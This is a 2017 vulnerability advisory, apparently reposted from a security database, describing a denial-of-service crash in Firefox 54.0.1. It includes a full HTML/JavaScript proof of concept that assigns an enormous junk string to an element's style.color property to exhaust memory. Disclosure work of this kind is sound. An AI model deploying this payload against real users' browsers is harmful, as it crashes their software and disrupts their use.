Firefox v54.0.1 Denial Of Service

Published
Credit
Risk
2017.07.07
hyp3rlinx
Medium
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec



Vendor:
===============
www.mozilla.org



Product:
===============
Firefox v54.0.1



Vulnerability Type:
===================
Denial Of Service



Security Issue:
================
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).

Tested on Windows 7

References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288


Exploit/POC:
=============
<html>
<body>
<script>

var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}
var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)

</script>
</body>

</html>


Network Access:
===============
Remote



Severity:
=========
Medium




Disclosure Timeline:
=============================
Vendor Notification: June 27, 2017
July 7, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

References:

http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt


See this note in RAW Version

 
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